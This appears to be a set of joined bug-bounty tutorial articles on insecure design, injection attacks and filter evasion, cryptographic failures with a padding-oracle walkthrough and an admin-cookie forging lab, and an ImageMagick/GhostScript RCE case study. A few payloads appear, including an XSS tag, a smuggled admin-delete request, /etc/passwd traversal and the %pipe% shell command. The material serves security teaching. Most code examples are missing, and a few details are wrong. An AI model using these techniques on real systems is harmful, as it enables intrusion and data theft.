In the absence of these considerations, systems can be retrofitted with ineffective security controls or lack them entirely. This can be attributed to teams rushing to meet a release deadline or those who are unaware of the security threats they may encounter.

This lack of threat modeling and adherence to best practices and principles is what we, as hackers, can capitalize on.

To understand what is considered an insecure design vulnerability, let's evaluate some of the Common Weakness Enumerations (CWEs) mapped to this classification. You can view the full list here.

CWE-602: Client-Side Enforcement of Server-Side Security

This design weakness arises when a server relies solely on client-side protections for enforcing security policies.

Many web applications implement input validation or sanitization to prevent malicious payloads from being processed by the server. These security measures also restrict the data end users are allowed to submit, such as rules governing the allowed data type, minimum/maximum length, format, or characters.

These protections often take place on the client side because it improves the speed of the checks and provides a better user experience, however, if user input is not also properly checked by the server, you can easily circumvent these defensive measures through the use of an HTTP proxy tool such as Caido. By intercepting a request after it is sent by the browser, you can bypass any client-side restrictions or checks, allowing you to modify the data being sent.

For example, consider a form that limits users to alphanumeric characters when supplying input to the fields. To accomplish this, the developers defined the following validation schema using the Zod library:

While this would block a payload such as <img src=x onerror=alert()> from being submitted, if the backend is not validating the data again, you could simply supply valid input initially and then change the value in an intercepted request:

Similarly, if sanitization is being used to remove data containing script tags but is only performed in the frontend, you could bypass this check by embedding the tag within another:

As you can see, this vulnerability would allow you to send arbitrary data that will be handled by the backend – a design choice that was not intended. While this may be sufficient for a normal user, it would be inadequate against you as a bug bounty hunter.

CWE-73: External Control of File Name or Path

When parameters that specify files are exposed, without the proper restrictions in place, you may be able to access, modify, or execute arbitrary files. This can be especially impactful when access to files and directories outside of the web root is possible, as these directories contain sensitive system files.

For example, if an application selects an image file to use as the banner of a webpage, you could use directory traversal techniques to access other files:

Even if security checks are implemented, such as ensuring that the filename ends in an image extension, it may be possible to terminate the file path by using a null byte:

If traversal sequences are being matched and removed, the same embedding technique mentioned earlier may bypass this sanitization:

If the web application offers file upload functionality, the presence of this insecure design capability can result in the ability to upload malicious files. For example, if a server was using PHP as its backend language, you could potentially achieve remote code execution by uploading your own PHP file with the following script:

By navigating to the uploaded file's location and supplying the command parameter, you could run system commands on the server:

CWE-444: Inconsistent Interpretation of HTTP Requests

Certain insecure design vulnerabilities in a system's architecture can be exploited via HTTP request smuggling attacks.

For web applications that are not well known and thus receive low levels of traffic, a single server is most likely sufficient enough to handle all the incoming requests. However, popular applications can receive levels of traffic that would overwhelm a solo server – resulting in latency issues or outages. To mitigate against system downtime, network engineers may place servers (load balancers or reverse proxies) in front of backend servers to alleviate the workload. These frontend servers will intercept multiple requests, group them, and distribute the bundled requests in a way that ensures no one backend server is overwhelmed. Each request in this bundle will enter a processing queue.

To delineate these bundled requests, HTTP/1.1 utilizes two request headers to specify where one request ends, and another begins: Content-Length and Transfer-Encoding.

The value of the Content-Length header is representative of the number of bytes in the body of a request. For example:

If the value of the Transfer-Encoding header is set to chunked, the request body data is divided into one or more portions referred to as "chunks". The data is also measured in bytes but is represented in hexadecimal encoding. With this header, the end of a request is marked with a chunk size of 0. For example:

The vulnerability arises when there is a mismatch between the frontend and backend server on which the header is to be used. By sending a request with both headers, the frontend is tricked into thinking multiple requests are a single request. However, once the backend receives this "single" request, it processes each one separately.

For example, if the frontend server uses the value of the Content-Length header to determine the end of a request, but the backend uses Transfer-Encoding: chunked – you could potentially "smuggle" a request to a restricted endpoint with:

This request will be seen as one by the frontend but as two by the backend. When the backend gets to the GET /admin/delete?name=otheruser HTTP/1.1 request, it will be held in the processing queue awaiting the missing 49 bytes. The empty parameter x= will catch the subsequent request and take the first 49 bytes from it.

It is critical to note that the value of Content-Length header includes the CRLF characters. Each \r and \n is considered to be one byte:

 Here are some disclosed HTTP request smuggling reports that have been submitted by security researchers on the HackerOne platform:

• https://hackerone.com/reports/2032842
• https://hackerone.com/reports/726773
• https://hackerone.com/reports/1063627
• https://hackerone.com/reports/777651

CWE-840: Business Logic Errors

Business logic vulnerabilities allow malicious attackers to exploit an application's legitimate processing flow to achieve unintended results. These issues arise from unforeseen user behavior and design choices based on assumptions made by developers that do not account for edge cases.

In processing flows that are multistep, developers may not envision scenarios in which certain parameters are removed, reused, or modified. These parameters can be critical to the proper outcome of an operation. Data flows that should be tested for business logic vulnerabilities include:

• Password reset functionality
• Authentication flows
• Updating account information
• E-commerce purchase flows
• Applying discount codes

Certain crucial parameters may even be inherently insecure as their values are widely known. For example, if developers require a security question to be answered before allowing a password reset, but the question is too general, such as: "What city did you grow up in?" – you could simply use this wordlist to brute force the correct answer.

Since these vulnerabilities arise in the specific context of the functionality a web application offers, these insecure design weaknesses can go undetected without in-depth code review. When you are navigating an application, make sure you become familiar with the intended flow of user actions, and then you can brainstorm how the process can be exploited.

Conclusion

Insecure design vulnerabilities are often tied to the specific technologies powering an application. Because of this, it is crucial to first identify and understand the technologies in use before looking for potential weaknesses. This can be accomplished by using tools such as WhatRuns or Wappalyzer. It is also important to gain a deep understanding of how the application operates, so invest ample time into a single target. Ultimately, securing an application from the ground up requires careful attention to detail, and any oversight can result in a bounty payout for you.

Introduced into the OWASP Top 10 in 2021, insecure design is a broad vulnerability class relating to security oversights in software services and their underlying architecture or business logic. To ensure services are resilient to attack, security-conscious decision-making must be embedded throughout the entire development lifecycle.

The injection classification is broad in scope and includes attack vectors such as:

• cross-site scripting (XSS)

• SQL injection (SQLi)

• carriage return/line feed injection (CRLF)

• server-side template injection (SSTI)

• header injection

• command injection

• directory traversal

Cross-Site Scripting (XSS)

Cross-site scripting is a type of injection attack in which a malicious attacker is able to supply arbitrary client-side code that is executed by a web browser in the context of the vulnerable application. XSS vulnerabilities can result in session tokens or sensitive data being stolen. There are three different types of XSS attacks:

Reflected XSS

In a reflected cross-site scripting attack, malicious input is "reflected" from the server and executed in the response. An attacker can exploit this by sending a victim a malicious link containing the payload. When the victim clicks the link, the code runs in their browser.

For example, consider a web application that offers search functionality. In this scenario:

The frontend has a search bar that takes user input:

As the GET method is used, upon form submission, user input will be sent via the userInput query parameter:

On the backend, the PHP code that handles the input is:

Once processed, the following response would “reflect” the search term and display:

Under certain vulnerable conditions, this could be exploited to obtain a victim user’s session cookie:

Stored XSS

In a stored cross-site scripting attack, the supplied malicious payload is “stored” by the web application and delivered to anyone who subsequently visits the affected web page. This vulnerability is much more severe than reflected XSS as it does not require tricking the user into navigating to a malicious link. If the affected web page receives a large amount of traffic, stored XSS can exploit a massive number of users as the payload is being served by the web application itself.

For example, imagine a web application that includes a support forum where users can converse with each other via comment threads. In this scenario:

Comments are made through form submissions that generate POST requests:

This payload would result in a comment containing a broken image due to no source URL being provided. The onerror event handler will execute since the image will fail to load and call the alert('XSS') function which will trigger an alert box in the victim’s browser.

Document Object Model (DOM) XSS

In a DOM XSS attack, the vulnerability occurs on the client side as the browser’s representation of the webpage is altered.

For example, the JavaScript window.location.search property accesses the query string of the current URL. Since query parameters can be tampered with, they are considered to be a source. If the query is passed to a sink such as document.write(), the rendered page could be sabotaged. In this scenario, the JavaScript of the web page will keep track of a user’s search history by appending their search input to an image source. When the server receives the browser’s request for the image, the constructed source URL is added as an entry to the server logs.

The URL generated after searching for “XSS” is:

The searchHistory function takes the userInput argument. This argument is created using a new URLSearchParams class object with the window.location.search source as its constructor. The get method is then used to access the value of the search query parameter in the URL. If there is a value to this query parameter, it is appended to the image source URL using document.write.

By escaping the src attribute, an additional event handler attribute can be added with a payload such as:

SQL Injection

The structured query language (SQL) is the language used for storing, manipulating, and retrieving data in relational databases. In a SQLi attack, modifications are made to database query statements in order to extract, update, add, or delete additional information.

For example, consider a web application that provides news articles, and the articles can be listed by category:

This generates the following database query statement:

To test if the query is vulnerable to manipulation, an attacker could submit the following payload that will add a time delay to the statement:

This would result in the following modified query to the database:

In this modified query, the first ' character of the payload closes the security string value, instructs the system to wait 10 seconds before returning the database information, and handles the original ' character by using the SQL comment syntax of # to comment it out. If the response takes ~10 seconds , this indicates that the query is vulnerable to SQLi.

By using the UNION clause, an additional query can be appended to the statement:

For this attack to work, both queries must return data from the same number of columns, and the data types must also be the same. If both the articles and users tables satisfy these conditions, the payload would be successful, and the usernames and passwords of all the accounts in the users table would be returned along with all the security-related articles.

To determine the number of columns in a table, an attacker can use the ORDER BY or UNION SELECT clauses:

For both statements, the numerical value or instances of NULL are incremented until a 200 status code response is received. Due to both tables having two columns each, the queries that would receive a successful response would include ORDER BY 2 and UNION SELECT NULL,NULL. Once the number of columns is enumerated, the data type they contain can be discovered by modifying the UNION SELECT query to include the data type in question:

By using the string of 'a' you can test if each column holds string data or not. If an error is returned, that discloses that the column does not hold string type data.

CRLF Injection

In order to specify where a line ends and a new line begins, web servers and browsers use carriage return (%0d) and line feed (%0a) characters. If an application is vulnerable, this HTTP special character sequence can be used to inject HTTP lines and headers to carry out attacks such as redirects, XSS via response splitting, XSS via creating two responses, request smuggling, and response queue poisoning.

CRLF redirects

By injecting a location header, a victim user can be redirected to an arbitrary domain that could host malicious content.

CRLF XSS via response splitting

If the value of a header set in a response contains user-supplied input, by supplying two CRLF injections, body data can be inserted.

CRLF XSS via creating two responses

By injecting a Content-Length header with a value of zero and then creating an entire valid second response, a payload can be inserted.

CRLF HTTP request smuggling

If the web application uses a load balancer or reverse proxy, under certain conditions the backend server may interpret a single request as two separate requests. This situation can arise when there is a mismatch between how the intermediate server and backend server handle the Content-Length and Transfer-Encoding: chunked headers. This can lead to bypass vulnerabilities because the two do not agree on where a request ends and another begins.

CRLF response queue poisoning

The pairing of responses to their appropriate requests can be offset by using CRLF injection to create the start of a request that will be held in a processing queue by the backend until it receives a subsequent victim request that will complete it. By injecting an arbitrary header that will catch the request line of the following request, the awaiting smuggled request will become valid and processed.

SSTI

Server-side template injection attacks exploit pre-designed web page layouts known as templates. Vulnerabilities can arise if user input is concatenated into a template rather than being passed as data. Templates allow for input to be converted into HTML content using what are referred to as “expressions”. The proper syntax of these expressions varies by the template engine being used.

If verbose error messages are returned when invalid expression syntax is supplied and these messages disclose the template engine and/or version in use, the associated documentation can be read, and exploitative payloads can be written.

A general payload that can be used to trigger an error is:

In certain cases, by supplying the correct expression syntax for evaluating mathematical equations, the template engine being used can be gleaned. If the web page is using the Freemarker engine and user input is reflected on the page, ${7*7} could be supplied and will output 49.

For example, the Embedded Ruby (ERB) 2.7.0 template engine is vulnerable to external command execution:

Header Injection

Since HTTP headers can be modified by users, they can serve as potential entry points to vulnerabilities. Exploitation of web applications that are vulnerable to header injection can result in attacks such as authentication/authorization bypasses, routing-based SSRF, and web cache poisoning.

Header injection authentication/authorization bypass

By supplying a localhost value to the host header, a system may interpret the request as one that was issued from itself. If the server uses any custom headers that identify the request origin, and overwrite the HTTP method, or requested path – these can also be vulnerable to attacks that allow for the bypassing of authentication or authorization security mechanisms.

Header injection routing-based SSRF

If a server can be induced to interact with an attacker-controlled server by supplying the associated domain name or IP address as the value of the host header, it is possible this could be used to make the vulnerable server issue requests to hosts within the internal network. By fuzzing internal IP addresses and then fuzzing for directories and file names on discovered hosts, unauthorized access to resources can be accomplished.

Header injection web cache poisoning

Deployments of content delivery networks (CDNs) are used in order to reduce the workload that an origin server is subjected to. By caching static content on CDNs, static content can be served by servers distributed across different regions. Besides offloading the processing work required by the origin server, CDNs also provide performance benefits as they reduce the roundtrip time on resource traffic. When these intermediate caching servers receive a request, they must determine if they have the stored content requested. To do so, what are known as “cache keys” are utilized. The “keyed” components of a request are typically the request line and host header. Any components that are not used are referred to as “unkeyed” components. If an attacker is able to cache a response to a request that contains a malicious payload that will be served to other users, this can lead to severe consequences.

For example, some websites generate dynamic URLs for resource imports. The value of headers such as X-Forwarded-Host can be used to construct these source URLs. If the header is unkeyed but the request line and host header are, an attacker could create a malicious file to be imported and the cached response would distribute this file to anyone who visits the same keyed request for the duration of the cached response.

In this scenario, the domain value of the X-Forwarded-Host header is used as the script source with an appended path and filename:

By creating a malicious JavaScript file named analytics.js within a directory named static on the attacker-controlled server, an attacker could have the CDN server spread their payload to anyone who visits the home page of example.com.

Command Injection

In a command injection attack, attackers can execute operating system commands on a server via user supplied input. These vulnerabilities arise when user input is directly handled by the shell of the system. This can be accomplished by directly injecting system commands into vulnerable components or by concatenating additional commands using valid syntax.

In general, the following command operators can be used for any language, framework, or backend used by a web application:

While the following operators are Unix specific:

When accounting for whitespace, literal whitespace characters can prove to be successful, but if the use of them is blacklisted, the following characters may bypass the restriction:

Similar to SQLi, time delays can be introduced in order to verify that the system is vulnerable to exploitation:

If the response takes ~10 seconds to arrive, this indicates that the query is vulnerable to command injection.

Directory Traversal/Local File Inclusion

In a directory traversal/local file inclusion attack, attackers can access restricted directories and read arbitrary files on the vulnerable server. Without proper protections, any file references can be replaced either directly by supplying an absolute path or indirectly by supplying a relative path.

For example, imagine a web application that uses a PHP script in order to load static content in the webpage based on the language of the end-user:

Without sufficient permission settings, sensitive files on the server such as /etc/passwd may be read:

Injection Payload Obfuscation

Defenses against injection attacks will look for suspicious user input. For example, it is not normal for a user to submit HTML tags, JavaScript, or SQL statements when supplying their name in an account registration form.

Certain security measures that provide protection against injection payloads can be bypassed by encoding or accounting for what is being checked or removed. Obfuscation techniques can also be combined in order to increase the chances of successful processing.

Double URL-encoding an XSS payload

In the presence of intermediate servers that forward requests to the backend and perform one round of URL-decoding on input, it may be possible to bypass malicious payload identification measures by simply double URL-encoding the payload.

HTML/Decimal/Unicode encoding an XSS payload in an HTML form

If defenses match against the keyword “alert”, an encoded equivalent of the letter ‘a’ could be used as it will be interpreted as the literal character in an HTML document.

Obfuscation using the SQL CHAR() function in an SQLi payload

The CHAR() function that is native to SQL accepts a single decimal or hex code character reference and returns the associated character. If defenses are matching against the keyword “SELECT” this function can be used to bypass this filtering.

URL-encoded CRLF character sequence

Command obfuscation

Certain characters can be inserted into commands and will not interfere with correct interpretation.

When obfuscating commands with either single quote or double quote characters, the number of quotes used must be an even number, and the two cannot be mixed together:

Backslash characters can also be used to obfuscate commands. The number of these characters used does not have to be even like is required for single and double quote characters:

The $ and @ characters can also be used:

While Linux commands are case-sensitive, Windows commands are not. A bypass could be achieved simply by altering the case of certain characters:

Directory traversal obfuscation

If defenses match against travel sequences (../ or ..\) and these are stripped out of input, you can simply surround them in additional characters that will be joined together to recreate the sequence once the input is stripped:

Including the web root can also result in a bypass:

If an extension is expected, try using a null byte to terminate the path: 

 Unicode normalization

Certain unicode characters can end up being translated into interpretable variants, which can result in bypassing defense measures. If user input is reflected in a web application, you can try submitting these characters and evaluating if this “normalization” takes place.

For example, if the application takes the Unicode code point U+0212A as an input value and reflects the ASCII letter ‘K’, this indicates that some normalization is taking place.

By supplying different Unicode characters, with the proper normalization, payloads could bypass matching rules. If, for instance, the fullwidth angle brackets are converted into normal angle brackets, a script tag could be input using:

Conclusion

As you have learned, injection vulnerabilities can lead to serious consequences if exploited. Whether they arise due to insufficient or a complete lack of input validation, sanitization, and escaping – they can result in data breaches, data manipulation, account takeover, remote code execution, and poisoning attacks.

When assessing targets, ensure to probe any input fields for injection attacks. Defensive teams must protect against a wide variety of different characters and encodings. However, with some evaluation, there may be a payload that slips past defenses.

Injection attacks represent a class of vulnerabilities that occur when user input is processed by a web application in the absence of security measures such as input validation, sanitization, and escaping. These vulnerabilities can lead to unauthorized access to data or command/code execution on the targeted system.

What Is Cryptography?

Cryptography is the practice and study of techniques for securing communication and information by transforming it into a format that is unreadable to unauthorized users. When sufficient cryptographic measures are in place, even if an unwanted third party did gain access to protected data, they would not be able to decipher it.

This field of science has historically been a source of political contention. During World War II, a British mathematician named Alan Turing, was a key figure in cracking the ENIGMA code. The ENIGMA was a machine used by the German military to send cryptological messages to advance their war effort. Due to this, Turing’s work is credited as a vital component of ending the war. Turing also went on to become one of the major drivers of what would eventually become the modern-day computer we are familiar with today.

Additionally, the creator of Pretty Good Privacy (PGP), Philip Zimmermann was subjected to a criminal investigation headed by the United States Customs Service. PGP, a cryptographic security program that is still widely used to this day, was considered to be too strong of an algorithm for export from the United States. The U.S. government, fearful that its enemies would use PGP, alleged that it violated the Arms Export Control Act – the same law that governs the export of weapons such as machine guns and missile systems. Ultimately, the Massachusetts Institute of Technology (MIT) came to Zimmermann’s aid and published a book that included PGP code to make the point that if he was truly an illegal arms dealer, then so was the university.

Encryption & Decryption

When data is encrypted, human-readable plaintext, such as the sentence you are currently reading, is converted into what is known as ciphertext. Ciphertext is an unreadable, scrambled version of the original plaintext. This is achieved by utilizing mathematical formulas, known as algorithms, that rely on what are referred to as keys. Keys are essentially passwords that are used by cryptographic algorithms to convert plaintext into ciphertext. Keys are also used in the process of reverting ciphertext back into its original plaintext, known as decryption.

As an example, the string “Hello, World!”, when encrypted with the Advanced Encryption Standard with a 256-bit key (AES-256) algorithm, and a key string of “secret” returns the following:

eyJpdiI6Ill3THVuSmxvV0hxRG5GZzN0dWxGY0E9PSIsCiJ2Ijox
LAoiaXRlciI6MTAwMCwKImtzIjoyNTYsCiJ0cyI6NjQsCiJtb2RlIjoi
Y2NtIiwKImFkYXRhIjoiIiwKImNpcGhlciI6ImFlcyIsCiJzYWx0IjoiSm
4wQVZNVTBYWkk9IiwKImN0IjoiMjhGdlRxdzNiN0RwMjJRVDFIT
2NkajVtbjdTMiJ9

There are two major types of encryption.

1. Symmetric-key encryption

Also known as “shared key encryption”, both the sender and receiver share the same key. Just as in the example above, the same key is used for both encryption and decryption.

2. Asymmetric-key encryption

Also known as “public key encryption”, asymmetric-key encryption uses two different keys – a public key and a private key that are mathematically related to each other. Each device involved in communication will have their own public and private key pair.

The public key is distributed by a device to any other device that it wants to communicate securely with, while the private key is kept a secret. The device sending data will encrypt the data with the public key of the recipient device. Once the data is delivered to the recipient, since the private key is mathematically related to the public key, the data can be decrypted with the recipient’s private key.

Cryptographic Failures in Encryption

In general, data is processed by computers in “blocks”. Both symmetric and asymmetric encryption modes operate on fixed block sizes defined by the encryption standard used. For example, the Advanced Encryption Standard (AES) has a block size of 128 bits. Since a byte is 8 bits, in AES-128, data is split in blocks of 16 bytes each.

For example, the string “telecommunicator” is 16 bytes long. By making conversions between encoding schemes equivalents, “telecommunicator” would produce the following block:

There are different modes used for block encryption. The two that will be covered are ECB and CBC.

Electronic Code Block (ECB)

This mode encrypts every block individually, meaning identical plaintext produces identical ciphertext. You wouldn’t be able to decrypt the ciphertext without knowing the key, but if the ciphertext of two blocks matches, then the plaintext input must match as well.

This creates patterns in the encryption process. This is why the ECB mode is not recommended for use within security contexts. This can be seen visually in images:

Cipher Block Chaining

XOR is a boolean algebra operator that will return true, if and only if exactly one of your input values is true.

This mode solves the issue with ECB by introducing an Initialization Vector (IV) block that is used with the Exclusive OR (⊕) operation on the first block, so that if the first two input values are ever the same, they will produce a different ciphertext output.

Additionally, the ciphertext output of the first block is then used as input to the second block’s XOR operation. Then the ciphertext output of the second block will be used as input to the third block’s XOR operation and so on and so forth – essentially linking the output of one block to the input of the next.

Padding

AES requires blocks to be 16 bytes, so if a block is less than that, there will need to be padding. The preferred padding standard is PKCS #7. In this standard, if you have to pad one byte you pad it with 0x01. If you have to pad two bites you pad it with 0x02 0x02. If you have to pad two bites you pad it with 0x03 0x03 0x03 and so on. Full 16 byte blocks will be followed by a fully padded block.

Padding examples:

*

*

*

*

*

*

*

*

*

*

*

*

*

*

*

01

*

*

*

*

*

*

*

*

*

*

*

*

*

*

02

02

*

*

*

*

*

*

*

*

*

*

*

*

*

03

03

03

Mutating the second to last byte in a block that only has one byte of padding, will not invalidate it (denoted with #):

*

*

*

*

*

*

*

*

*

*

*

*

*

*

#

01

Padding Oracle Attacks

An oracle in the time of the ancient Greeks was a person or place that could communicate with the gods. In cryptography, a padding oracle is a system that provides information about encrypted data without revealing the encryption key.

Imagine a web server that encrypts cookies before sending them to a client. When the web server receives them back, it will decrypt them in order to process them. Then it will remove the padding. If invalid padding causes an error message or response latency, then you have a padding oracle to work with. For example, a server may send an error message of “AES-128 decryption failed”. This would indicate you exceeded the number of padded bytes.

By modifying the encrypted cookie, you are modifying the ciphertext. By submitting ciphertext to a padding oracle which will either confirm or deny the padding of the plaintext is correct, you can completely decrypt the cookie.

AES CBC Decoding

Since this attack works on one block at a time, we will view the decoding process for a single block:

The decoding process is just the inverse of the encoding process:

1. The ciphertext is decrypted using the unknown key on the server.
2. The output is an intermediate value known as a key stream.
3. The key stream value is then XORed with the IV to produce the plaintext.

This is what the process in its entirety would look like:

But in our case, we don’t know all these values.

After zeroing out the IV, the padding oracle will return a padding error. When a valid value for the 16th byte of the IV is discovered, there will be no padding error.

The plaintext either ends with one 01, two 02s, three 03s, and so on. We can assume the plaintext ends with 01 since valid padding was returned with 1f.

KS16 ⊕ 1f = 01

KS16 ⊕ 1f ⊕ 1f = 01 ⊕ 1f

KS16 ⊕ 00 = 01 ⊕ 1f

KS16 = 01 ⊕ 1f

KS16 =1e

Since the original 16th byte of the IV was 1b:

PT16 = 1e ⊕ 1b

PT16 = 05

We have now determined that the 16th byte of the plaintext value is 05.

Now, we need to set the value of the 16th byte of plaintext to 02. XOR against 1e until you get 02. Set the value to the 16th byte of the IV.

1e ⊕ ? ⊕ = 02

Next, iterate through all the hex values of the 15th byte of the IV, again until the padding oracle doesn’t return an error.

KS15 = c3 ⊕ 02

Since the original 15th byte of the IV was c4:

PT15 = c1 ⊕ c4

PT15 = 05

This checks out because there will be five 05 bytes as padding. This process is repeated until the entire plaintext value that the server receives is discovered.

Try a padding oracle attack yourself here. 

PortSwigger Lab: Authentication Bypass Via Encryption Oracle

PortSwigger provides an exercise in their academy in which you have to utilize an encryption oracle. Below are step-by-step instructions on how to solve the lab.

1. Log in using the provided credentials, ensuring to select the ‘Stay logged in’ option.

2. The simulated website is a blogging site in which you can comment on posts. Submitting a comment with an invalid email address results in an error message: “Invalid email address: [email]”

3. In BurpSuite’s HTTP history, select the POST /post/comment request and inspect the response. The server set a ‘notification’ cookie. Inspect the subsequent response to the GET request generated by the 302 redirect. In the header of the HTML file, is a class attribute of “notification-header”. Underneath this is the error message received from submitting an invalid email address.

4. Back in the POST /post/comment request, copy the value of the ‘stay-logged-in’ cookie and paste it as the value of the ‘notification’ cookie in the GET /post?postId=[blog-number], then send the request. Now in the response body, ‘wiener:[timestamp]’. It is now confirmed that the POST request can be used to encrypt data via the email parameter and the GET request can decrypt the data. This will serve as your oracle.

5. Submit ‘administrator:[timestamp]’ as the value of the email parameter. In the response to this request, again copy the value of the ‘notification’ cookie and decrypt it with the GET request. Now the error message is: “Invalid email address: administrator:[timestamp]”.

6. Return to the POST request and send the value of the ‘notification’ cookie to Decoder. Decode as URL and decode as Base64. Since ‘Invalid email address: ‘ is 23 bytes long, remove the first 23 bytes. Reencode the cookie.

7. Once again, decode the cookie using the GET request. You will be met with a 500 server error response. However, there is a verbose decryption error message of: “Input length must be multiple of 16 when decrypting with padded cipher”

8. In the POST request, prefix ‘administrator:[timestamp]’ with 9 bytes to satisfy the 16 byte block requirement. Send the request to get the new value of the ‘notification’ cookie from the response. Send this value back to Decoder, decode it and then delete the first two blocks. Reencode and now use the value in the GET request to decrypt it. You have successfully forged an administrator cookie for use as the value to the ‘stay-logged-in’ cookie.

9. By using this administrator token and deleting the ‘session’ cookie in its entirety as to not conflict with the session state. You are now able to gain unauthorized access to the administrator panel and execute operations with this privileged role.

Hashing

In addition to encryption and decryption, cryptography also encompasses hashing. Hashing is a process that converts data into a fixed-length string, known as a hash digest, that acts as a unique identifier of the original data. Hash digests are used for security measures such as integrity checks, digital signatures, and message authentication. While both encryption and hash functions render data unrecognizable, they differ in a major way – due to the algorithms used, in hashing the process is irreversible. However, the algorithms used will always produce the same output for the same input.

For example, the string “Hello, World!” when hashed using the Message Digest 5 (MD5) algorithm, returns the following hash value:

In hashing, even the slightest variations to an input value result in a completely different output. To demonstrate, examine the hash value of “Hello, world!” (note the lowercase "w"):

Since MD5 uses 128-bit encryption, the number of possible unique combinations is 2128 which amounts to 340,282,366,920,938,463,463,374,607,431,768,211,456.

Cryptographic Failures in Hashing

Though the number of unique combinations provided by MD5 is vast, what are referred to as “collisions” have been discovered. A collision occurs when two different input values produce the same hash digest. A famous probability theory phenomenon known as the Birthday Problem illustrates that there is actually a 50% chance of finding an MD5 collision after 264 operations. MD5 was also once thought to be secure against preimage attacks, meaning that even if someone has the hash digest, they cannot easily work backward to find the original input. Though, weaknesses have been found that allow attackers to reverse-engineer hash digests. These reasons are why MD5 is no longer recommended for use within security contexts.

Rainbow Table Attacks

When you create a password, it is often stored in a database as a hash rather than its plaintext value. This acts as a security measure in the event the database is breached. Again, due to the fact that a hashing algorithm will always produce the same output for the same input, there is a much easier way to discover the corresponding plaintext equivalent than attempting either a collision or a preimage attack, thanks to rainbow tables.

Rainbow tables are precomputed lists of hash digests and their plaintext equivalents. If a database of hashed passwords is obtained, you could simply use a rainbow table or the same hashing algorithm used to generate a large number of hash digests by supplying a wordlist. These output values can then be compared against those in the database until a match is discovered.

Additionally, when compared to dictionary or brute force attacks, rainbow table attacks allow for a higher rate of matching attempts due to the fact that is not subjected to the asynchronous nature of awaiting a response to an HTTP request – rainbow attacks are only limited by the processing power of the device it is carried out on.

There are even websites available, such as CrackStation, where you can supply a hash value, which will be checked against their collection of rainbow tables to find a matching plaintext value. CrackStation currently boasts a 15-billion-entry rainbow table for MD5 and SHA1 hashes as well as a 1.5 billion-entry table for other miscellaneous hash algorithms. However, if a salt is being used, this kind of attack can be thwarted.

Conclusion

As you can see, cryptographic vulnerabilities can be devastating if exploited. Whether they arise due to the use of outdated algorithms or a lack of security configurations – they can lead to consequences such as data breaches, data manipulation, non-compliance, and reputational damage.

In conclusion, the importance of sufficient cryptographic practices cannot be overstated. Organizations must regularly reassess their cryptographic protocols, ensuring they are up-to-date and properly configured. If they do not, malicious attackers will have clear opportunities to exploit them.

Cryptographic failures represent a class of vulnerabilities that impact data security during storage, transmission, and usage. As noted by the OWASP Top 10, these vulnerabilities are particularly concerning because they can result in the unintended exposure of sensitive data, such as credentials, credit card numbers, and personal information. When cryptographic systems fail to provide their intended protection, opportunities arise for gaining unauthorized access to this data.

The file upload vulnerability type is as broad in scope as the number of different file types. These vulnerabilities are an ever-present security concern. While the underlying mechanics of how the unsafe handling of PHP files leads to compromised systems are clear to understand, exploitation using document files as a payload medium may not be so clear.

For younger members of the cybersecurity industry, this uncertainty can be partly attributed to the history behind the race to dominate the modern printing press.

The Vulnerability

On August 31, 2018 security researcher Frans Rosén submitted a report to the Semrush program in regard to a file upload vulnerability.

Semrush Holdings, a software-as-a-service (SaaS) provider, is a leader in search engine optimization (SEO). The Semrush platform offers a suite of tools to assist businesses in increasing their online visibility and managing their digital marketing campaigns.

Included in the toolkit is the My Report feature which equips marketing agencies with the ability to aggregate cross-platform marketing data in order to generate highly customizable PDF reports with ease. These reports can then be presented to clients and stakeholders to demonstrate the value provided and results achieved.

One of the customization options available is the ability to upload your company’s logo to the report. To facilitate this feature, the open-source image processing suite ImageMagick was integrated into the report-building dashboard.

ImageMagick and Related Vulnerabilities

Rosén was able to achieve remote code execution (RCE) on a Semrush server once he discovered that an unpatched version of ImageMagick was being utilized. Rosén’s report, though slightly dated, serves as a great case study in order to gain a deep understanding of the inner workings of document processing vulnerabilities.

However, researchers have found numerous bugs directly in ImageMagick and adjacent to it that have since been assigned CVEs, with some of them being much more recent than the one that will be discussed below:

• CVE-2024-33869: This vulnerability leads to path traversal and command execution.
• CVE-2021-39212: This vulnerability leads to file read/write.
• CVE-2021-3781: This vulnerability leads to command execution.

Page Description Languages

A page description language (PDL) defines the arrangement of text, images, and graphics on a page using commands that printers are able to interpret. By utilizing these languages, precise control over the appearance of printed media is possible, making them ideal for generating professional-grade documents. Page description languages have either a static format or dynamic format:

• A static format uses a fixed set of commands and rules for operations and their arguments.
• A dynamic format is more flexible than its static counterpart as its commands can be extended. A page is described in this format as a program that gets executed, rather than just data to be printed.

PostScript

PostScript is a dynamic format page description language. As a fully-featured programming language, in addition to its graphic design capabilities - it also supports features such as variables, conditional execution, loops, user-defined procedures, a variety of data types, file input/output, functions, and interactive debugging.

In PostScript:

• A stack is an area of memory used for temporarily storing objects. Objects are pushed onto the stack and popped off as they are consumed. The stack operates on a last-in, first-out basis - meaning the last object placed on the stack will be the first consumed.
• Functions/commands that perform specific actions are referred to as operators.
• String values are encased in parentheses: (Hello world!)

Dictionaries are tables of key/value pairs. These tables are stored in the virtual memory of the interpreter. They serve as lookup tables for names and their corresponding definitions. There are three dictionaries:

1. userdict is a writable dictionary that stores user-defined objects in the current session context.
2. globaldict is a writable dictionary that is globally accessible across different contexts.
3. systemdict is a read-only dictionary that holds the predefined objects and built-in commands.

When the interpreter encounters a name, it will search these dictionaries for that key - beginning with userdict and ending with systemdict.

As PostScript is a postfix language, function calls are read from right to left. The def operator binds a value to a key. For example:

Defines a variable named example_variable with a value of H1.

GhostScript

“You can use Postscript to get Ghostscript to run which in return allows to trigger arbitrary commands on the server, leading to Remote Code Execution.”

Just like many other programming languages, PostScript requires an interpreter to execute its commands and convert them into actions/output. A page described using the executable program written in PostScript is presented to the interpreter controlling the output device.

GhostScript is the interpreter used by ImageMagick for PostScript and PDF files. When ImageMagick processes these file types, it relies on GhostScript to interpret and convert them into a format that ImageMagick can manipulate.

GhostScript is available as a command line tool:

In the image above, the PostScript addition operation was performed, and the value was pushed to the stack, denoted by the stack size of <1>. Issuing the stack command prints the value.

In GhostScript, settings that control interactions with a device are referred to as device parameters.

• The .LockSafetyParams device parameter prevents PostScript programs from being able to change potentially dangerous setting configurations. It takes a Boolean value of either true or false. If this parameter has a value of true for the current device, any attempts to set a new device with a value of false will result in an invalidaccess error.
• The OutputFile parameter is used to write files. It takes a string value which specifies the file name for output.
• The %pipe% command instructs the interpreter to start a new process with any shell command. If .LockSafetyParams is set to true an invalidaccess error will be met.

